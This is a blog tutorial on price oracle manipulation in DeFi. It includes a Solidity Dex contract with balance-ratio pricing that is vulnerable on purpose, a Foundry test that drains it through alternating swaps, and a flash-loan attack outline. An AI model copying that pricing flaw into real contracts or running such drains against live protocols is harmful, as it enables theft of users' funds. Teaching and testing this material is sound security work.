What are Price Oracle Manipulation Attacks in Blockchain contracts and EVM???

posted 5 min read

Oracles: Simple Introduction

  • Oracles are external data providers that bring off-chain data to on-chain smart contracts!!!!
  • DeFi protocols with Liquidity Pools are considered as oracles -> Such as Uniswap, Sushiswap, etc.
  • DeFi protocols, who rely on the on-chain price of an asset in order to function uses oracles
  • any device that delivers the price of an asset (for example, ETH, USD, or BTC) to be considered an oracle.

Oracles and DeFi Protocols:

  • DeFi protocols need to liquidate a user’s loan Decisisons are made based on data provided by oracles

  • Chainlink price feeds, Tellor and Uniswap(TWAP) are some example of oracles

  • On-chain protocols with liquidity pools are considered as oracles
  • Protocols using liquidity pools as oracles are highly vulnerable to price oracle manipulation attacks

Price Oracle Manipulation Attacks

  • Price oracle manipulation attacks happen when an oracle’s price feed is artificially manipulated from an attacker
  • This manipulation can dramatically affect behavior within DeFi protocols that rely on that oracle for their internal logic.
  • These alterations can create arbitrage opportunities
  • Oracle manipulation attacks occur when we manipulate the information the oracle is sending to the blockchain, thereby impacting the action being executed on-chain to the benefit of the manipulator.

How does Price Oracle Manipulation Attacks Work?:

  • Most oracle price manipulation attacks occur through the use of Flash Loans
  • Attackers can exploit Flash Loans to alter the price of assets in automated market makers such as Uniswap,
  • changing the spot price ratio of a token before the lender smart contract has a chance to look up the token again.

Some important things to keep in mind:

  • type of oracle defi protocols using determines how likely they are vulnerable to price oracle manipulation attacks
  • Protocols using a liquidity pool as their oracle are essentially 99.9% likely to be exploited

  • Better oracles to be used:

  • Oracles like Chainlink, are harder to break!!!!
  • Uniswap's TWAP(time weighted average price) are less-accurate but more secure!!!

How to prevent Price Oracle Manipulation Attacks?

  1. Choose the oracle carefully
  • Which data feeds are being aggregated by the oracle?
  • Is this data being fetched from centralized exchanges, decentralized ones, or both?
  • Which statistical method is being used to aggregate this data into a single output?
  • How does the oracle work out dispute mechanisms in case there’s discrepancies between the nodes?
  1. Have backup systems:
  • Dual oracle system [Chainlink price feeds + Uniswap TWAP]
  1. Use decentralized oracles over centralized ones:
  • Common examples of decentralized oracles are: Chainlink, API3, and Synthetix

Example contract and Attack work flow of Price Oracle Manipulation Attack

  • Simple contract that swaps tokens (tokenA and tokenB)
  • This contract uses getSwapPrice() to get the price of tokenA and tokenB
  • Dex contract stores all funds(tokenA and tokenB)
contract Dex is Ownable {
    /// @dev function swaps tokenA and tokenB
    /// @param amountIn amount of 'from' token to swap
    /// @param amountOut amount of 'to' token to swap
    function swap(address from, address to, uint256 amountIn) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amountIn, "Not enough to swap");

        uint256 swapAmount = getSwapPrice(from, to, amountIn); // this get the amountOut price
        
        IERC20(from).transferFrom(msg.sender, address(this), amountIn); // transfer from user to contract
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount); // transfer from contract to user
    }

    /// @dev function returns the amountOut price for token
    /// @param amountOut amount of 'to' token to swap
    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }
}
  • Below test will try to swap tokens(tokenA and tokenB) alternatively using swap() function from Dex contract to manipulate the price and drain all funds from Dex contract!!!!
  • Target -> drain all tokenA from Dex contract
contract DexTest is Test{
    function setUp() public {
        /// @dev consider complete initial setup for Dex contract, tokenA, tokenB
        /// @dev contract -> 100 tokenA and 100 tokenB
        /// @dev attacker -> 10 tokenA and 10 tokenB
    }

    function test_CreatePriceManipulationAttack_usingDEX() public {
        // Initial state
        console.log("--- Initial State ---");
        console.log("DEX token1 balance:", token1.balanceOf(address(dex)));
        console.log("DEX token2 balance:", token2.balanceOf(address(dex)));
        console.log("User token1 balance:", token1.balanceOf(user));
        console.log("User token2 balance:", token2.balanceOf(user));

        vm.startPrank(user);
        
        // Round 1: Swap 10 token1 -> token2
        uint256 swapAmount1 = dex.getSwapPrice(address(token1), address(token2), 10);
        dex.swap(address(token1), address(token2), 10);
        
        // Round 2: Swap all token2 back -> token1
        uint256 userToken2Balance = token2.balanceOf(user);
        uint256 swapAmount2 = dex.getSwapPrice(address(token2), address(token1), userToken2Balance);
        dex.swap(address(token2), address(token1), userToken2Balance);
        
        
        // Continue the attack pattern until we can drain all token1
        uint256 round = 3;
        while (token1.balanceOf(address(dex)) > 0 && round <= 10) {
            
            if (round % 2 == 1) {
                // Odd rounds: token1 -> token2
                uint256 userToken1 = token1.balanceOf(user);
                if (userToken1 > 0) {
                    uint256 swapAmount = dex.getSwapPrice(address(token1), address(token2), userToken1);
                    
                    // Check if this would drain all token1
                    if (swapAmount >= token2.balanceOf(address(dex))) {
                        // Calculate exact amount needed to get all remaining token2
                        uint256 remainingToken2 = token2.balanceOf(address(dex));
                        uint256 exactAmount = (remainingToken2 * token1.balanceOf(address(dex))) / token2.balanceOf(address(dex));
                        dex.swap(address(token1), address(token2), exactAmount);
                    } else {
                        dex.swap(address(token1), address(token2), userToken1);
                    }
                }
            } else {
                // Even rounds: token2 -> token1
                uint256 userToken2 = token2.balanceOf(user);
                if (userToken2 > 0) {
                    uint256 swapAmount = dex.getSwapPrice(address(token2), address(token1), userToken2);
                    
                    // Check if this would drain all token1
                    if (swapAmount >= token1.balanceOf(address(dex))) {
                        // Calculate exact amount needed to get all remaining token1
                        uint256 remainingToken1 = token1.balanceOf(address(dex));
                        uint256 exactAmount = (remainingToken1 * token2.balanceOf(address(dex))) / token1.balanceOf(address(dex));
                        dex.swap(address(token2), address(token1), exactAmount);
                        break;
                    } else {
                        dex.swap(address(token2), address(token1), userToken2);
                    }
                }
            }
            round++;
        }
        
        vm.stopPrank();
        
        // Verify the attack was successful
        assertEq(token1.balanceOf(address(dex)), 0, "All token1 should be drained from DEX");
        assert(token1.balanceOf(user) > 10); // User should have more token1 than they started with
        }
    }

Standard Methods that leads to Price oracle manipulation attacks

  1. Swap based Price Manipulation:
  • DeFi protocols that uses Uniswaps/DEX's as their oracles for price feeds
  • Attackers can alternatively swaps two tokens until they drain out large funds
  • Swap large ETH for Token → make Token look cheap and as price fluctuates again they swap tokens for ETH
  1. Flashloan based Price Manipulation:
  • Flashloan ETH
  • Use flashloaned ETH to swap token → skew Uniswap price
  • Use manipulated price to drain lending/staking/vault
  • Repay flashloan, keep profit

  • Using flashloan to create Arbitrage opportunity

  1. Manipulating Oracles (LP):
  • Some protocols use Uniswap LP as oracle
  • But LP price = tokenA / tokenB is easily skewed
  • If you can control LP state, you control the price
  • Attacker swaps to inflate or deflate this price, and the protocol believes it.

Tryout this CTF challenges for better understanding about the attack!!!

  1. https://ethernaut.openzeppelin.com/level/22
  2. https://ethernaut.openzeppelin.com/level/23

case studies

If you read this far, tweet to the author to show them you care. Tweet a Thanks

Great breakdown of oracle manipulation attacks—super informative and well-explained! One question: do you think hybrid oracle setups (like combining Chainlink with TWAP) are a long-term fix, or just a temporary patch until better standards emerge?

Combining Chainlink with TWAP serves as a temporary safeguard against oracle manipulation. Chainlink provides tamper-resistant oracles, while Uniswap's TWAP offers a unique time-weighted pricing mechanism.

More Posts

Introduction to solidity smart contracts storage layout -- What are risks in manipulating storage???

abiEncode - Jun 30

Blockchain File Storage---What is IPFS and Types of web3 Storage

abiEncode - Jul 14

Advance EVM - Opcodes, low-level calls and instructions

abiEncode - Jul 3

Private variables are not really private on EVM

abiEncode - Jul 8

What the Heck Are EIPs and ERCs? A Beginner’s Guide to 4 Ethereum Upgrades You’ve Never Heard Of

ALLAN ROBINSON - Jul 17
chevron_left